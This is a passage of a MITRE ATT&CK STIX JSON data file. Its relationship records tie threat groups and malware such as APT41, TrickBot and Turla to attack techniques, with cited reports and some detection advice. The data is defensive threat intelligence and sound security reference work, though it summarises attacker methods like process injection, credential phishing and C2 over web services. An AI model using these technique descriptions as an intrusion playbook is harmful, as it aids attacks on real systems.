APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.550Z","description":"[APT41](https://attack.mitre.org/groups/G0096) malware TIDYELF loaded the main WINTERLOVE component by injecting it into the iexplore.exe process.(Citation: FireEye APT41 Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0c53a14-01d3-42f6-9dea-6cb60ac72025","created":"2021-01-11T19:46:57.204Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary NETWIRE January 2020","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T19:25:58.301Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can modify the Registry to store its configuration information.(Citation: Red Canary NETWIRE January 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e0cbaae4-9a39-4da4-a0a2-8c60dfa8e0c8","created":"2022-03-07T19:33:01.706Z","x_mitre_version":"1.0","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can fill a victim's files and directories with zero-bytes in replacement of real content before deleting them.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-13T11:32:22.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0ce4a5f-ac3b-4d61-b540-c5c3c434beb0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"S2 Grupo TrickBot June 2017","description":"Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.","url":"https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"},{"source_name":"Trend Micro Totbrick Oct 2016","description":"Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"},{"source_name":"Microsoft Totbrick Oct 2017","description":"Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.","url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."}],"modified":"2020-09-11T13:27:44.732Z","description":"[TrickBot](https://attack.mitre.org/software/S0266) injects into the svchost.exe process.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Cyberreason Anchor December 2019)","relationship_type":"uses","source_ref":"malware--00806466-754d-44ea-ad6f-0caf59cb8556","target_ref":"attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0ce9848-5b27-4fb5-ba67-0fef8cd0fe0f","type":"relationship","created":"2021-08-04T13:59:15.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC Nobelium Toolset May 2021","url":"https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/","description":"MSTIC. (2021, May 28). Breaking down NOBELIUM’s latest early-stage toolset. Retrieved August 4, 2021."}],"modified":"2021-08-04T13:59:15.220Z","description":"(Citation: MSTIC Nobelium Toolset May 2021)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--c26f1c05-b861-4970-94dc-2f7f921a3074","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT34 Dec 2017","description":"Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"}],"modified":"2020-03-17T02:14:55.973Z","description":"[POWRUNER](https://attack.mitre.org/software/S0184) may collect active network connections by running netstat -an on a victim.(Citation: FireEye APT34 Dec 2017)","relationship_type":"uses","source_ref":"malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Softpedia MinerC","description":"Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved September 12, 2024.","url":"https://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:19:00.434Z","description":"[Miner-C](https://attack.mitre.org/software/S0133) copies itself into the public folder of Network Attached Storage (NAS) devices and infects new victims who open the file.(Citation: Softpedia MinerC)","relationship_type":"uses","source_ref":"malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234","target_ref":"attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0d494d7-f081-4195-92c6-95aae2f2cadc","created":"2023-07-07T18:15:55.148Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:13:52.514Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) sent phishing messages via SMS to steal credentials.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--bc76d0a4-db11-4551-9ac4-01a469cfb161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0d5dda2-3fc1-4dde-aebe-fb6e31023195","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2020-03-19T19:52:53.234Z","description":"[PLAINTEE](https://attack.mitre.org/software/S0254) encodes C2 beacons using XOR.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0d647cf-69a0-416f-8db4-cfd72fbd6ad3","type":"relationship","created":"2020-06-22T20:15:32.199Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:32.199Z","description":"[APT33](https://attack.mitre.org/groups/G0064) has used VBScript to initiate the delivery of payloads.(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0d78b1f-4c62-4537-af82-da7575f1fe9e","created":"2024-09-16T08:46:42.851Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T08:46:42.851Z","description":"[DUSTTRAP](https://attack.mitre.org/software/S1159) contains additional embedded DLLs and configuration files that are loaded into memory during execution.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"malware--33139388-de0c-49ff-862a-041c315b142d","target_ref":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0d8b438-c7be-43b3-ba3f-9dd61c0e54cb","created":"2022-01-18T18:54:44.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"},{"source_name":"CrowdStrike AQUATIC PANDA December 2021","description":"Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022.","url":"https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T22:16:33.923Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) has used several publicly available tools, including WinRAR and 7zip, to compress collected files and memory dumps prior to exfiltration.(Citation: CrowdStrike AQUATIC PANDA December 2021)(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0dc0d73-4e0a-46a6-8100-0c231eba58a5","created":"2024-07-25T22:34:11.462Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T22:36:45.127Z","description":"[Nightdoor](https://attack.mitre.org/software/S1147) gathers information on the victim system such as CPU and Computer name as well as device drivers. [Nightdoor](https://attack.mitre.org/software/S1147) can also collect information about disk drives, their total and free space, and file system type.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"malware--51f78dfc-52f9-424e-8753-bb4246188313","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e0e492ef-c67d-4a02-be8d-2e9a650ea6f0","type":"relationship","created":"2020-12-03T20:47:09.694Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture HyperStack October 2020","url":"https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity","description":"Accenture. (2020, October). Turla uses HyperStack, Carbon, and Kazuar to compromise government entity. Retrieved December 2, 2020."},{"source_name":"ESET Crutch December 2020","url":"https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/","description":"Faou, M. (2020, December 2). Turla Crutch: Keeping the “back door” open. Retrieved December 4, 2020."}],"modified":"2020-12-04T21:04:06.898Z","description":"[Turla](https://attack.mitre.org/groups/G0010) has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications.(Citation: Accenture HyperStack October 2020)(Citation: ESET Crutch December 2020)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e0e8cd30-04d6-457c-b4c1-34145f182dad","created":"2022-07-01T20:25:23.375Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has scanned for vulnerabilities in the public-facing servers of their targets.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-01T20:25:23.375Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0ef0f63-9418-4258-8f0a-f752e4b4b1a0","created":"2023-09-19T20:07:17.876Z","revoked":false,"external_references":[{"source_name":"Proofpoint TA2541 February 2022","description":"Larson, S. and Wise, J. (2022, February 15). Charting TA2541's Flight. Retrieved September 12, 2023.","url":"https://www.proofpoint.com/us/blog/threat-insight/charting-ta2541s-flight"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T20:07:17.876Z","description":"[TA2541](https://attack.mitre.org/groups/G1018) has hosted malicious files on various platforms including Google Drive, OneDrive, Discord, PasteText, ShareText, and GitHub.(Citation: Proofpoint TA2541 February 2022)","relationship_type":"uses","source_ref":"intrusion-set--467271fd-47c0-4e90-a3f9-d84f5cf790d0","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0fce318-55f7-4205-8239-3fca6fff6d90","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T19:27:58.725Z","description":"Monitor for changes made to files for unexpected modifications that attempt to hide artifacts. On Windows, Event ID 4663 (Security Log - An attempt was made to access an object) can be used to alert on suspicious file accesses (e.g., attempting to write to a file which shouldn’t be further modified) that may coincide with attempts to hide artifacts. ","relationship_type":"detects","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e0fdf36c-02e5-4100-b0f2-a1fb28fdd674","created":"2024-03-25T20:35:44.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Red Canary SocGholish March 2024","description":"Red Canary. (2024, March). Red Canary 2024 Threat Detection Report: SocGholish. Retrieved March 22, 2024.","url":"https://redcanary.com/threat-detection-report/threats/socgholish/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:36:04.104Z","description":"[SocGholish](https://attack.mitre.org/software/S1124) can send output from `whoami` to a local temp file using the naming convention `rad<5-hex-chars>.tmp`.(Citation: Red Canary SocGholish March 2024)","relationship_type":"uses","source_ref":"malware--5911d2ca-64f6-49b3-b94f-29b5d185085c","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e101388f-ea73-4d02-b07f-c89a17dfa4a5","created":"2022-01-26T21:16:54.407Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) has used a dynamic DNS service for C2.(Citation: Talos Bisonal Mar 2020)","modified":"2022-04-18T17:49:04.585Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e104cf3c-a802-4e06-8abc-6293cea9492f","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"PWC Cloud Hopper Technical Annex April 2017","description":"PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.","url":"https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf"},{"source_name":"Symantec Cicada November 2020","description":"Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:14:18.649Z","description":"[menuPass](https://attack.mitre.org/groups/G0045) uses [PowerSploit](https://attack.mitre.org/software/S0194) to inject shellcode into PowerShell.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: Symantec Cicada November 2020)","relationship_type":"uses","source_ref":"intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e1094311-052f-4992-9f6b-c6ada3dcf633","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","source_ref":"x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da","target_ref":"attack-pattern--e196b5c5-8118-4a1c-ab8a-936586ce3db5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e1130af1-b49f-4106-8846-7f3e65a65535","created":"2022-07-18T18:35:39.795Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T18:35:39.795Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e1172f5d-5645-4963-b89c-fd975c1f2798","created":"2023-09-26T20:38:07.702Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-26T20:44:18.144Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) can use `cmd.exe` to execute plugins and to send command output to specified SMB shares.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e11a3d87-d9cf-4dcf-b722-fef4b0a324b4","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.689Z","description":"[Axiom](https://attack.mitre.org/groups/G0001) has been observed using SQL injection to gain access to systems.(Citation: Novetta-Axiom)(Citation: Cisco Group 72)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e11c02c8-e740-489f-925f-33c05c94c80f","type":"relationship","created":"2020-12-23T13:37:53.558Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Molerats Dec 2020","url":"https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf","description":"Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020."}],"modified":"2020-12-23T13:37:53.558Z","description":"[DropBook](https://attack.mitre.org/software/S0547) has checked for the presence of Arabic language in the infected machine's settings.(Citation: Cybereason Molerats Dec 2020) 